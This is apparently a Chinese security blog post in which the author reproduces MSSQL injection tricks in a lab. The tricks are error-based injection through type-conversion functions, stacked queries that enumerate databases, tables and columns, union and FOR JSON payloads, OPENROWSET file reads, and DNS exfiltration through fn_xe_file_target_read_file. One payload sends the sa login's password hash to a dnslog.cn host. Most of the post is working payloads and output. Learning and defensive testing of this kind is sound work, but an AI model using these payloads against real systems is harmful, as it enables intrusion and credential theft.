关于sqlserver注入另类技巧的学习

​ 最近看到国外一篇关于mssql注入利用的文章,里面用了很多技巧我之前一直不知道,所以自己对这些技巧进行了复现,本次测试的环境为SQLSERVER2008

报错注入

​ 之前对于SQLSERVER报错注入理解仅限于类型转换导致的报错的利用方法,这次看到有很多新的函数可以进行报错注入利用,我把每个函数的测试单独取出来进行测试。

1
2
3
4
5
6
7
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()

​ SUSER_NAME()函数本来的作用是通过用户的id返回用户名,那id是int型的,由于我们输入的语句返回结果是varchar类型,因此会导致类型转换异常和报错,如下所示:

image-20201113165830418

​ 我们已经可以看到报错了,但是如果想要获取更多的信息怎么办,还能通过这个函数来进行报错注入的利用吗?可以的,语句如下

1
select SUSER_NAME((select @@version))

image-20201113170131763

获取表名

1
select SUSER_NAME((select top 1 table_name from information_schema.tables))	

image-20201113170346115

上面是直接执行的结果,如果我们放到具体的注入语句里该怎么用?使用方法如下:

1
select * from tn_Attitudes where id =1 and 1=SUSER_NAME(@@version)	

image-20201113172402013

image-20201113172434689

​ 其他函数的用法类似,所以不一一说明了,下面给出利用的截图

1
2
3
4
5
and 1=USER_NAME((select top 1 table_name from information_schema.tables))	
and 1=PERMISSIONS((select top 1 table_name from information_schema.tables))
and 1=DB_NAME((select top 1 table_name from information_schema.tables))
and 1=FILE_NAME((select top 1 table_name from information_schema.tables))
and 1=TYPE_NAME((select top 1 table_name from information_schema.tables))

image-20201113172656283

image-20201113172708675

image-20201113172721793

image-20201113172733723

image-20201113172755049

 最后一个函数COL_NAME有一点不一样,需要两个参数
1
and 1=COL_NAME((select top 1 table_name from information_schema.tables),1)	

image-20201113172912410

​ 这些函数都有一个特性,就是他们输入的值都为int,返回值为varchar,我们可以利用这个特征去找其他可能导致报错注入的函数,之所以要了解这些函数,我们可以在利用报错注入某些函数被拦截的时候,通过替换为其他函数的方式来利用报错注入。

快速获取数据的小技巧

堆叠注入

​ 我个人觉得MSSQL的报错注入比较鸡肋,因为MSSQL注入点一般都会支持堆叠查询,通过报错注入获取数据的速度远不如堆叠注入获取数据的速度快,这里我给出堆叠注入快速获取数据的方法

1
2
3
4
5
6
DECLARE @listStr VARCHAR(MAX) DECLARE @myoutput VARCHAR(MAX) SET @listStr = '' SELECT @listStr = @listStr + Name + ',' FROM master..sysdatabases SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1) SELECT CAST(@myoutput as int)  列出所有数据库

DECLARE @listStr VARCHAR(MAX) DECLARE @myoutput VARCHAR(MAX) SET @listStr = '' SELECT @listStr = @listStr + Name + ',' FROM 数据库名..sysobjects WHERE type = 'U' SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1) SELECT CAST(@myoutput as int) 列出所有的表

DECLARE @listStr VARCHAR(MAX) DECLARE @myoutput VARCHAR(MAX) SET @listStr = '' SELECT @listStr = @listStr + Name + ',' FROM 数据库名..syscolumns WHERE id=object_id('表名') SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1) select cast(@myoutput as int)
列出所有的列

获取所有数据库

image-20201113173622807

获取所有表名

image-20201113173643045

获取所有列名

image-20201113173732520

联合查询

​ 在MSSQL 2016及以后支持使用FOR JSON AUTO函数,我们可以使用这个函数结合联合查询获取数据,由于我本地的数据库版本比较低,所以复现不了这种利用方式,这里给出作者的Payload和截图

1
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- 

image-20201113200720930

报错注入

​ 还是由于环境的问题,无法复现这种利用方式,给出作者的payload和截图

1
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- 

image-20201113201003499

文件读取

1
SELECT BulkColumn FROM OPENROWSET(BULK N'C:\Windows\win.ini', SINGLE_BLOB) as document

image-20201119114708244

​ 我尝试在报错注入中用到这种方法,但是并没有成功利用,但是可以在union联合查询中利用该方法读取文件。

1
select * from tn_AtUsers where id=-1 union select  null,(SELECT BulkColumn FROM OPENROWSET(BULK N'C:\Windows\win.ini', SINGLE_BLOB) as document),null,null

image-20201119115448908

获取当前正在执行的语句

1
select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)

image-20201119115716185

​ 这种语句在报错注入中仍然是有效的

image-20201119115821821

DNS注入

​ 通过fn_xe_file_target_read_file加载UNC路径请求DNS,虽然这个函数第一个和第二个参数都是文件路径,但实际上会先去请求第一个参数对应的路径,所以一般情况下最好用第一个参数加载执行,当我们多次请求同一个UNC路径,只会执行第一次,所以每次执行完后,最好将前面的路径稍微改一下。

1
select * from fn_xe_file_target_read_file('\\1a.idbfh8.dnslog.cn\1.xem','1.xem',null,null)

image-20201119133707689

image-20201119133712427

​ 在什么情况下可以用fn_xe_file_target_read_file的第二个参数进行利用呢,答案是当第一个参数指定的路径存在的情况下。

1
select * from fn_xe_file_target_read_file('c:\windows\win.ini','\\jtf50t.dnslog.cn\1.xem',null,null)

image-20201119133934287

image-20201119133951324

​ 我测试了报错注入和UNION下利用这种方式外带数据,都是不行的,但在where后添加EXISTS函数执行是可以的,这里有一个小坑,就是and前面的参数的内容必须是存在的,才会执行DNS请求,否则不会执行成功。

1
select * from tn_AuditItems where DisplayOrder=121 and exists(select * from fn_xe_file_target_read_file('\\1a.myg9zc.dnslog.cn\1.xem','1.xem',null,null))

image-20201119141927943

image-20201119141953818

​ 还有一个问题是我们如果想要利用这种方式外带数据,该怎么利用,这个语句因为出现了+号,所以在get提交时需要注意URL编码的问题。

1
select * from tn_AuditItems where DisplayOrder=121 and exists(select * from fn_xe_file_target_read_file('\\'+(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa')+'.myg9zc.dnslog.cn\1.xem','1.xem',null,null))

image-20201119142531471

image-20201119142548412

​ 和fn_xe_file_target_read_file类似的函数还有fn_get_audit_file,

1
select * from fn_get_audit_file('\\zwbqeg.dnslog.cn\11.xxx',default,default)

image-20201119142900030

image-20201119142908659

​ 作者还提供了fn_trace_gettable函数,不过这种利用方式我并没有复现成功。

总结

​ 对于该作者挖掘到这些关于注入利用的函数,我们肯定也在想他是如何找到这些函数的,这里我大致做一下分析。

报错注入函数

​ 我查阅了一些资料,这些函数都有一些共同点,就是接收的参数是int型的参数,并且返回值是varchar类型,如果我们想要挖掘其他的可以报错的函数,可以寻找这种类型的函数。

DNS注入函数

​ DNS外带数据的函数也比较明显,就是他们都是文件操作的函数,也就是说会进行文件读取操作的函数,那如果给这些函数的参数传入UNC路径的内容,就可能会存在DNS请求。